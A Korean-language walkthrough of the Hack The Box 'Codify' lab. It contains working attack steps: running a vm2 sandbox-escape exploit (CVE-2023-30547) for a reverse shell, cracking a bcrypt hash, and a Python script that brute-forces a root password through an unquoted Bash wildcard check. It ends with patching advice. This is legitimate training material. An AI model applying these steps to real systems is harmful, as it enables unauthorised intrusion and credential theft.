
Codify(Linux - Easy) 워크스루. vm2 RCE(CVE-2023-30547) 악용, SQLite DB 해시 추출, John을 이용한 Bcrypt 크래킹, `mysql-backup.sh`의 Bash 와일드카드 비교를 통한 권한 상승을 다룹니다.
Hack The Box의 Codify 머신에 대한 전체 침투 테스트 워크스루 및 라이트업입니다.
| 필드 | 값 |
|---|---|
| 이름 | Codify |
| OS | Linux |
| 난이도 | Easy |
| 주요 개념 | vm2 RCE (CVE-2023-30547), SQLite DB 열거, Bcrypt 크래킹, Bash 와일드카드 패턴 매칭 악용 |
[Nmap Scan: Ports 22, 80, 3000] ➡️ [Node.js Sandbox App (vm2) Detected]
⬇️
[CVE-2023-30547: vm2 Sandbox Escape RCE] ➡️ [Reverse Shell as 'svc']
⬇️
[SQLite Enum: /var/www/contact/tickets.db] ➡️ [Extract Joshua's Bcrypt Hash]
⬇️
[John the Ripper (rockyou.txt)] ➡️ [SSH as 'joshua'] ➡️ [Read user.txt]
⬇️
[Sudo Check: /opt/scripts/mysql-backup.sh] ➡️ [Wildcard Comparison Vulnerability]
⬇️
[Python Bruteforce Script] ➡️ [Extract Root MySQL Password] ➡️ [su root] ➡️ [Read root.txt]
열린 서비스를 발견하기 위해 전체 65,535개 TCP 포트에 대한 고속 스캔:
Bash
nmap -Pn -n -sS -p- --min-rate 5000 --open <TARGET_IP>
포트 22, 80, 3000에 대한 상세 정보 수집:
Bash
nmap -sVC -p 22,80,3000 <TARGET_IP>
포트 3000에서 실행 중인 웹 애플리케이션은 취약한 버전의 Node.js vm2 샌드박스 라이브러리를 사용합니다.
공개 익스플로잇 저장소를 클론합니다:
Bash
git clone [https://github.com/user0x1337/CVE-2023-30547](https://github.com/user0x1337/CVE-2023-30547)
cd CVE-2023-30547
공격 머신에서 로컬 Netcat 리스너를 시작합니다:
Bash
ncat -lnvp 4444
취약한 웹 애플리케이션을 대상으로 익스플로잇을 실행합니다:
Bash
python3 exploit.py --url "http://<TARGET_IP>:3000" --lhost <YOUR_IP> --lport 4444
초기 거점 셸을 확인합니다:
Bash
whoami
웹 디렉터리 /var/www/contact로 이동하여 SQLite 데이터베이스를 확인합니다:
Bash
cd /var/www/contact
ls -la
sqlite3 tickets.db
Joshua의 bcrypt 해시를 추출합니다:
SQL
SELECT password FROM users WHERE username='joshua';
(CTRL + d를 눌러 종료)
추출한 해시를 John the Ripper와 rockyou.txt를 사용하여 크래킹합니다:
Bash
echo "<HASH_BCRYPT>" > hash.txt
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
크래킹한 Joshua의 자격 증명으로 SSH 인증을 수행합니다:
Bash
ssh joshua@<TARGET_IP>
cat user.txt
사용자 joshua에게 허용된 sudo 명령어를 확인합니다:
Bash
sudo -l
출력: (ALL : ALL) NOPASSWD: /opt/scripts/mysql-backup.sh
/opt/scripts/mysql-backup.sh를 확인합니다:
Bash
cat /opt/scripts/mysql-backup.sh
취약점: 이 스크립트는 Bash에서 따옴표로 묶지 않은 패턴 매칭([[ $USER_PASS == $DB_PASS* ]])을 사용합니다. 이로 인해 사용자 입력 내 와일드카드(*)를 사용하여 실제 비밀번호에 대해 문자 단위 무차별 대입(brute-force) 공격을 수행할 수 있습니다.
root 비밀번호를 문자 단위로 추출하는 bruteforce.py를 생성합니다:
Python
import string
import subprocess
all_characters = list(string.ascii_letters + string.digits)
password = ""
found = False
while not found:
for character in all_characters:
# Test password + character + wildcard (*)
command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
if "Password confirmed!" in output:
password += character
print(f"Found: {password}")
break
else:
found = True
print(f"Root Password: {password}")
비밀번호를 추출하기 위해 스크립트를 실행합니다:
Bash
python3 bruteforce.py
추출한 비밀번호를 사용하여 root 사용자 컨텍스트로 전환합니다:
Bash
su root
cat /root/root.txt
Node.js 라이브러리 패치: vm2(CVE-2023-30547)와 같은 취약한 샌드박스 라이브러리를 폐기하거나 업그레이드합니다.
안전한 Bash 스크립팅: 권한이 있는 스크립트에서 의도치 않은 패턴 매칭 및 와일드카드 주입을 방지하려면 문자열 비교 연산([[ "$USER_PASS" == "$DB_PASS" ]])에서 항상 변수를 따옴표로 묶습니다.